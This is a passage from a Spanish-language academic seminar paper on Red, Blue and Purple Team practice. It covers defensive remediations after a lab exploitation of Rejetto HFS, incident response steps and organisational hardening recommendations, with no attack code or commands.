Las operaciones de Red Team adicional a las actividades basicas de pentesting, se
encargan de realizar investigacion de posibles adversarios o actores maliciosos
(inteligencia de amenazas) que pueden comprometer la infraestructura o servicios de
la organizacion, lo que implica llegar a conocer TTP (Téacticas, Técnicas y
Procedimientos) asi como las herramientas usadas por estos, es decir su
comportamiento. Como menciona Selmanaj (Selmanaj, 2024, p. 12-13) al conocer el
comportamiento del adversario y aplicar la piramide de dolor de Bianco (ver figura
17) al momento de defender los activos, es decir no ir solo al tradicional bloqueo de
IP/URL, hashes o dominios que se conoce; el costo de la operacion del actor
malicioso se hara cada vez mucho mas alto, ya que al identificar/bloquear
herramientas o al hacer que las TTP utilizadas por ellos sean inttiles, este tendra que
modificar su comportamiento por completo, lo cual implicard un cambio de estrategia

(costo en tiempo) asi como la consecucion de nuevas herramientas (costo monetario).



Figura 17

Piramide de Dolor de Bianco

TPs\  Tough!

Tools \ Challenging

Network/host artifacts\ Annoying

Simple

IP addresses Easy

Hash values Trivial

Nota: Adaptado de David Bianco’s Pyramid of Pain por Selmanaj, D. (2024). Adversary
Emulation With MITRE ATT&CK: Bridging the Gap Between the Red and Blue Teams

- Adicional a la investigacion, se debe realizar por parte de los equipos Red Team la
parte de simulacion de adversarios. Esto implica que se evaluen las defensas de la
organizacion (Blue Team) en cuanto a las medidas actuales de proteccion

implementadas en los activos relevantes o susceptibles a ser blanco de ataques, los

29



30

procesos de deteccion y por supuesto la respuesta de estos. Todo esto, mediante la
replicacion del comportamiento de los posibles actores maliciosos. Esto
proporcionara valiosa retroalimentacion continua de los posibles puntos de mejora a
nivel defensivo que se deben aplicar en la organizacion, dado el caracter evolutivo de
los actores maliciosos y las formas en las cuales pueden comprometer la seguridad de
la informacion de las empresas. Resaltar aqui que es importante que para la
simulacion de las actividades, no debe haber aviso de estas a los equipos Blue Team,
ya que se pierde el caracter de estas.

- Tener en cuenta las diferencias entre las actividades de escaneo de vulnerabilidades,
analisis de vulnerabilidades, pentesting y red team, ya que cada una entrega una salida
diferente y tienen niveles distintos de complejidad, siendo la actividad de “Red
Teaming”, la que mas se acerca a la evaluacion completa de la fortaleza defensiva de

la organizacion.

Algo muy importante a adicionar dentro de los procesos de Red Team a ejecutar en las
organizaciones es que no solo se deben tener en cuenta las amenazas externas sino también las

que pueden provenir de atacantes internos o insiders.

Aspectos Técnicos de los Equipos de Blue Team

Como actividad posterior a la realizada por parte del Red Team y tomando como

referencia la documentacion de la vulnerabilidad aprovechada en el ejercicio del seminario
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especializado, asi como las acciones realizadas para la explotacion de esta, se propusieron las

siguientes medidas para evitar la reincidencia en la afectacion, asi:

- De acuerdo con las recomendaciones del fabricante, en lo posible utilizar la Gltima
version de la aplicacion Rejetto HFS (v3), dado que utilizar una version de la familia 2.3
0 2.4 hace que el sistema sea susceptible a una vulnerabilidad reciente (CVE-2024-
23692) que también permite la ejecucion remota de comandos sin requerirse credenciales
de usuario. Al igual que la vulnerabilidad explotada en el ejercicio de Red Team, esta
vulnerabilidad reciente ya tiene exploits publicos. Cabe anotar que la minima version de
sistema operativo requerida para ejecutar la version 3 de Rejetto HFS es Windows 8.1 o

Windows Server 2012.

Dado que la accidon de remediacion principal no seria posible de aplicar en el sistema
operativo evaluado, se recomiendan las siguientes acciones de mitigacion, lo cual indica que, si

bien la vulnerabilidad va a seguir presente, se minimizara el riesgo de explotacion de esta.

- Instalacion de una herramienta de deteccion de intrusiones ya sea a nivel de la red (tipo
SNORT) o a nivel del equipo con un agente (Wazuh). Esto permitird que se pueda
realizar un proceso de deteccion y contencion mas adecuado, dada la falta de
herramientas de seguridad en el equipo analizado.

- Realizar la configuracion de AppLocker mediante la creacion de politicas que permita

establecer bloqueo para la ejecucion de scripts (en el caso del ejercicio de Red Team, el



32

exploit ejecuta un archivo .vbs que ejecuta una peticion que trae el payload para realizar
la conexion entre la victima y el atacante)

- Aplicar las recomendaciones de CIS Benchmark (CIS Security, 2020) para Windows 7
respecto al punto de User Account Control (UAC) a fin de fortalecer la seguridad
respecto a los archivos ejecutables.

- Realizar la revision de parches faltantes de sistema operativo, teniendo en cuenta que en
el ejercicio de Red Team se encontrd que el equipo es susceptible a Eternal Blue
(Vulnerabilidades de SMBv1).

- A fin de mejorar el perfil de seguridad de la informacion de la organizacion, realizar la
implementacion de herramientas de seguridad en la red como Firewalls para control de
trafico y segmentacion de la red, SIEM para la recopilacion y correlacion adecuada de

eventos de los diferentes activos, asi como agente de EDR/XDR en los dispositivos.

Adicional a lo anterior, para términos de las acciones para su ejecucion en caso de
presentarse un ataque, lo ideal en este punto es que se tenga un procedimiento adecuado para
la revision y deteccion de un ataque por parte un actor malicioso, lo cual lleve a su aplicacion
de forma organizada a fin de permitir las actividades de contencion e investigacion posterior.
Para este efecto, las acciones a realizar estarian enmarcadas en lo mencionado por el NIST
(NIST, 2012) en su guia de manejo de incidentes de seguridad, lo indicado por ICONTEC
(ICONTEC, 2024) en la ISO/IEC 27035, asi como lo mencionado en la Guia para la Gestion
y Clasificacion de Incidentes de Seguridad de la Informacion (MINTIC, 2016), como se

indica a continuacion:
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Identificar la naturaleza del evento que indica un comportamiento anémalo identificado
en el equipo afectado (aumento de consumo de recursos del equipo, cifrado de archivos,
aumento inusual en el trafico de red, caida del servidor, alertas de antivirus (si bien para
el caso evaluado no existe una herramienta instalada, es necesario monitorearla en caso
de que exista), u otras actividades anormales que puedan detectarse.

Evaluar a partir de la identificacion del evento y su categorizacion, la afectacion en el
activo

Revisar las conexiones de red a servicios/procesos existentes en el equipo, a fin de
identificar si existe alguna anomalia que pueda indicar una variacion frente a la linea base
normal de funcionamiento.

Revisar los procesos en ejecucion en el equipo en busca de anomalias (ej: nombres
anormales de procesos (aleatorios como en el caso de lo visto en el laboratorio)) que
indiquen una variacion frente a los procesos normales que se deberian observar en el
dispositivo.

Revisar los logs del sistema a fin de identificar eventos que puedan indicar
modificaciones no autorizadas en el sistema operativo (creacién de usuarios, eliminacioén
de usuarios, elevaciones de privilegios, eliminacion de logs, ejecucion de scripts (ej:
PowerShell)).

Realizar la recoleccion de la mayor cantidad de evidencia en el momento del ataque que
permita posteriormente la investigacion del incidente y la generacion del informe
respectivo que permita tomar las acciones correctivas para minimizar la reincidencia del

evento malicioso.
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- Tomar las acciones a fin de contener el evento malicioso y evitar la posible propagacion a
otros equipos de la red, las cuales pueden ser el aislamiento de la maquina afectada, el
bloqueo de direcciones IP maliciosas o aplicacion de firmas en dispositivos de seguridad

perimetral o el bloqueo de cuentas comprometidas.

Es indispensable que dentro de toda la actividad se realice la documentacion necesaria y
exigida en el procedimiento de atencion de incidentes a fin de que sirva como insumo para la

fase de lecciones aprendidas que se realiza post incidente.

Siendo lo anterior hay que resaltar que de acuerdo con la revision documental (Sehgal &
Thymianis, 2023, p. 13-14), el equipo de Blue Team esta orientado a realizar como tarea
principal, el monitoreo y vigilancia constante de los activos de informacién por medio de las
herramientas de seguridad que se dispongan en la organizacidn, asi mismo apoya en el
establecimiento de controles de seguridad mediante la recomendacion de estos de acuerdo con
los riesgos que pueden afectar los activos de informacion protegidos y las vulnerabilidades
detectadas en estos. Por otra parte, también se encargan de la planeacion de la respuesta ante
ataques con el equipo de respuesta a incidentes, observando las lecciones aprendidas y las
conclusiones generadas de actividades previas, asi como la generacion de guias de respuesta

(playbooks).

Como se puede ver, hay un cardcter preventivo en las actividades del equipo de Blue
Team, sin embargo, su existencia no se puede ver como la de una entidad aislada, sino que debe

interactuar con el Red Team a fin de complementar su estrategia y enriquecer las actividades
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defensivas de la organizacion. por lo cual es importante dentro del presente trabajo mencionar el

concepto de Purple Team.

El equipo purpura o Purple Team es una forma de unir las capacidades de los equipos de
Blue Team y Red Team no solo como personas sino también como una forma de ver la
ciberseguridad como un todo, conllevando a la colaboracién entre partes y a la realizacion de
actividades para mejorar los equipos y, por ende, la seguridad de la informacion de la
organizacion. Este proceso continuo, conlleva a que haya investigaciones previas de TTP de
actores maliciosos gracias a las capacidades de ciber inteligencia (ya sea integradas al Blue Team
como parte interna o como equipo separado), se ejecuten dichas TTP por parte del equipo Red
Team, se documenten los resultados obtenidos en los dos equipos y posteriormente se
identifiquen cuales fueron las brechas de seguridad identificadas para su priorizacion de acuerdo
con el nivel de criticidad de los activos afectados. Una vez se hace la implementacion de
medidas (que puedan subsanarse prontamente) para remediar las brechas de seguridad por parte
del equipo Blue Team, posteriormente se hacen nuevas pruebas para validar la efectividad de
estas por parte del equipo Red Team. Para las remediaciones o mejoras dentro del proceso de
defensa que requieran mayor tiempo, se debe establecer un plan con actividades puntuales y

tiempos estimados para su ejecucion, lo cual va a permitir su medicion posterior.

Es importante que en pos de la mejora continua buscada se retroalimente por parte de los
dos equipos, que oportunidades de enriquecer el proceso se pueden observar y por supuesto, que
aprendizaje se obtuvo de lado y lado, ya que tanto el equipo Red Team obtendra conocimiento de
como funciona la parte defensiva y que acciones deberia buscar aplicar para evadir defensas,
como el equipo Blue Team obtendra conocimiento de cual es el comportamiento de un posible

actor malicioso en un ataque real.
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Autores como Moreno Garcia (Moreno Garcia, 2022, p. 119), Routin, Thoores y Rossier
(Routin et al., 2022, p. 26), Oakley (Oakley, 2019) y Dale (Dale, 2020) coinciden en resaltar la
relevancia de la colaboracion estratégica entre los equipos de Blue/Red Team, mediante la
coordinacion de las acciones ofensivas y defensivas a fin de perfeccionar los esfuerzos realizados
y asi obtener los resultados esperados en busca del mejoramiento de la postura de seguridad de la

organizacion.

Recomendaciones para el planteamiento de estrategias para endurecer los aspectos de

seguridad en una organizacion

Es fundamental tener muy presente que la ciberseguridad en las organizaciones tiene tres
pilares fundamentales: las personas, los procesos y la tecnologia. Sin involucrar estos tres
elementos al tiempo no puede existir una estrategia coherente de ciberseguridad ya que esta debe
tener un enfoque sistémico; por ejemplo: ;De que puede servir un dispositivo de seguridad
cuando no existe un procedimiento adecuado para monitorearlo y gestionar los eventos que se
presenten? ;De qué sirve decir en una empresa que tienen certificacion ISO 27001 cuando sus
empleados tienen contrasenas basicas que pueden ser adivinadas en un ataque simple por

diccionario?

Las anteriores son apenas dos ejemplos de situaciones donde la ciberseguridad en las

empresas carece de integracion entre sus partes, quedando asi brechas que deben ser resueltas.
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Siendo lo anterior se proponen las siguientes recomendaciones a fin de mejorar la postura
de seguridad de cualquier organizacion, teniendo como base la estrategia de defensa en

profundidad que integra los 3 elementos mencionados con anterioridad, asi:

- Definir e implementar una politica de seguridad de la informacién en la organizacion de
preferencia ajustada a estandares como ISO 27001:2022, que este soportada por politicas
adicionales, procesos y procedimientos documentados y bien definidos. Esto implica el
apoyo de la alta gerencia para su implementacion y la capacitacion a los integrantes para
que haya adherencia a la politica establecida.

- Implementar una politica de gestion de eventos e incidentes dentro de la organizacion que
permita realizar un proceso de respuesta a estos, ya sea de forma directa o realizada por
un tercero.

- Establecer politicas de gestion de accesos e identidad que estén orientadas al principio del
“minimo privilegio” en los dispositivos, aplicaciones y sistemas de la organizacion.

- Realizar la definicion e implementacion de lineas base de seguridad y controles para los
dispositivos, equipos y aplicaciones que integran la infraestructura de la organizacion,
basado en buenas practicas como las indicadas por el CIS.

- Programar la validacion de reglas configuradas en los dispositivos de seguridad y red con
una periodicidad minima de una vez por semestre para garantizar que estas estén
ajustadas a los requerimientos establecidos a nivel de seguridad.

- Mantener documentacion actualizada de la infraestructura de la organizacion en cuanto a

su topologia, direccionamiento, informacion de direccionamiento IP, sistemas operativos
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y servicios, lo cual facilitara el trabajo del equipo de Blue Team y CSIRT al momento de
la respuesta frente a un ataque.

Realizar el proceso adecuado de gestion de riesgos de los activos criticos de la compaiiia
(identificacion, evaluacion, planes de accion) a fin de determinar la vigencia de las
estrategias de proteccion de estos y aplicar las actualizaciones necesarias segun sea el
caso.

Realizar las campatfias necesarias de concientizacion en seguridad de la informacion a los
empleados de la organizacion para mitigar los riesgos asociados a comportamientos de
los usuarios.

Ejecutar procesos adecuados de seleccion de personal, identificando personas con
suficientes criterios técnicos, éticos y profesionales para adelantar las labores de Red
Team o Blue Team.

Establecer politicas para la ejecucion periodica de los planes de mantenimiento y
actualizacion de dispositivos, equipos y aplicaciones, a fin de minimizar los riesgos
operativos y de seguridad que se pueden presentar por la falta de aplicacion de parches.
Tener implementado un servicio de backup para los elementos criticos de la organizacion
y definir las politicas necesarias para definir este proceso

A fin de implementar una base para el servicio de monitoreo, tener un SIEM en el
entorno que permita recolectar logs de los elementos importantes de la red como son los
servidores, el antimalware (EDR/XDR), equipos de conectividad, IPS/IDS y firewall.
Realizar evaluaciones periddicas de seguridad en los activos mediante la conduccion de

pruebas de escaneos/analisis de vulnerabilidades y pruebas de pentesting que permitan



medir el nivel de riesgo de los activos relevantes frente a las vulnerabilidades que estan
en continuo descubrimiento.

Realizar pruebas de Purple Team que permitan medir las capacidades defensivas de la
organizacion a fin de determinar las fortalezas y los puntos de mejora a aplicar a fin de
mejorar la respuesta frente a las amenazas que se identifiquen.

Realizar la observancia de la normatividad legal del pais donde se esté desarrollando la
actividad de Blue Team/Red Team. Importante aqui que se firmen los acuerdos de
confidencialidad necesarios al igual que establecer claramente las RoE que permitan
delimitar las acciones a desarrollar en las actividades, las responsabilidades civiles,

comerciales y penales, asi como la observancia de las politicas de la organizacion.
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Conclusiones

De acuerdo con el conocimiento adquirido en el trascurso del seminario especializado
mediante las revisiones documentales del tema tratado y su puesta en practica, se pueden generar

las siguientes conclusiones

La actuacion de los equipos de Blue Team/Red Team se debe realizar observando la
normatividad legal del pais donde se esta realizando las actividades, si bien en Colombia existen
leyes como la 1273 de 2009 y la 1582 de 2012, en cada pais existe su normatividad establecida
para la proteccion de datos y la definicion de la ocurrencia de delitos informaticos. Es por esto
que, los contratos, acuerdos de confidencialidad y las reglas de compromiso deben definir las

labores en concordancia con la parte legal correspondiente.

En el contexto actual de ciberseguridad, ya no es posible contemplar la actuacion de los
equipos de Red Team y Blue Team como entidades separadas en las organizaciones, debido al
caracter complementario de las actividades de cada uno; razon por la cual el concepto de Purple
Team toma fuerza como estrategia para mejorar el desempefio de los equipos y por ende de las
medidas defensivas a través de la prueba de los procedimientos de deteccion, respuesta y
contencion, asi como el fortalecimiento de la parte investigativa mediante la identificacion de

amenazas a través de la ciber inteligencia.

Las estrategias de seguridad en las organizaciones deben ser de caracter integral,
incorporando a estas los tres pilares de la ciberseguridad: las personas, los procesos y la
tecnologia. Pretender no contar con alguno de ellos, puede ocasionar que se creen brechas en las

estrategias y van a perder su efectividad para la proteccion de la seguridad de la informacion.
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Por otra parte, la implementacion de estrategias como “Defensa en Profundidad”, “Zero
Trust”, asi como la adecuada gestion de riesgos en la organizacion dentro de ciclos de
evaluacion, retroalimentacion y mejora continua, va a permitir el fortalecimiento de la seguridad
en la organizacion, adaptandose asi al cambiante panorama de amenazas que presenta el mundo

actual.
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Recomendaciones

Dentro de las recomendaciones se reitera lo mencionado en el apartado de
“Recomendaciones para el planteamiento de estrategias para endurecer los aspectos de seguridad

en una organizacion”, asi:

- Definir e implementar una politica de seguridad de la informacion en la
organizacion de preferencia ajustada a estandares como ISO 27001:2022, que este soportada por
politicas adicionales, procesos y procedimientos documentados y bien definidos. Esto implica el
apoyo de la alta gerencia para su implementacion y la capacitacion a los integrantes para que

haya adherencia a la politica establecida.

- Implementar una politica de gestion de eventos e incidentes dentro de la
organizacion que permita realizar un proceso de respuesta a estos, ya sea de forma directa o

realizada por un tercero.

- Establecer politicas de gestion de accesos e identidad que estén orientadas al

principio del “minimo privilegio” en los dispositivos, aplicaciones y sistemas de la organizacion.

- Realizar la definicion e implementacion de lineas base de seguridad y controles
para los dispositivos, equipos y aplicaciones que integran la infraestructura de la organizacion,

basado en buenas practicas como las indicadas por el CIS.

- Programar la validacion de reglas configuradas en los dispositivos de seguridad y
red con una periodicidad minima de una vez por semestre para garantizar que estas estén

ajustadas a los requerimientos establecidos a nivel de seguridad.
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- Mantener documentacion actualizada de la infraestructura de la organizacion en
cuanto a su topologia, direccionamiento, informacion de direccionamiento IP, sistemas
operativos y servicios, lo cual facilitara el trabajo del equipo de Blue Team y CSIRT al momento

de la respuesta frente a un ataque.

- Realizar el proceso adecuado de gestion de riesgos de los activos criticos de la
compaiiia (identificacion, evaluacion, planes de accion) a fin de determinar la vigencia de las

estrategias de proteccion de estos y aplicar las actualizaciones necesarias segun sea el caso.

- Realizar las campafias necesarias de concientizacion en seguridad de la
informacion a los empleados de la organizacion para mitigar los riesgos asociados a

comportamientos de los usuarios.

Ejecutar procesos adecuados de seleccion de personal, identificando personas con
suficientes criterios técnicos, éticos y profesionales para adelantar las labores de Red Team o

Blue Team.

- Establecer politicas para la ejecucion periodica de los planes de mantenimiento y
actualizacion de dispositivos, equipos y aplicaciones, a fin de minimizar los riesgos operativos y

de seguridad que se pueden presentar por la falta de aplicacion de parches.

- Tener implementado un servicio de backup para los elementos criticos de la

organizacion y definir las politicas necesarias para definir este proceso

- A fin de implementar una base para el servicio de monitoreo, tener un SIEM en el
entorno que permita recolectar logs de los elementos importantes de la red como son los

servidores, el antimalware (EDR/XDR), equipos de conectividad, IPS/IDS y firewall.
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- Realizar evaluaciones periddicas de seguridad en los activos mediante la
conduccion de pruebas de escaneos/analisis de vulnerabilidades y pruebas de pentesting que
permitan medir el nivel de riesgo de los activos relevantes frente a las vulnerabilidades que estan

en continuo descubrimiento.

- Realizar pruebas de Purple Team que permitan medir las capacidades defensivas
de la organizacion a fin de determinar las fortalezas y los puntos de mejora a aplicar a fin de

mejorar la respuesta frente a las amenazas que se identifiquen.

- Realizar la observancia de la normatividad legal del pais donde se esté
desarrollando la actividad de Blue Team/Red Team. Importante aqui que se firmen los acuerdos
de confidencialidad necesarios al igual que establecer claramente las RoE que permitan delimitar
las acciones a desarrollar en las actividades, las responsabilidades civiles, comerciales y penales,

asi como la observancia de las politicas de la organizacion.
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Apéndices

Apéndice A

Enlace a video de sustentacion del trabajo final del seminario especializado.

https://www.youtube.com/watch?v=XjcBiN-mIGA
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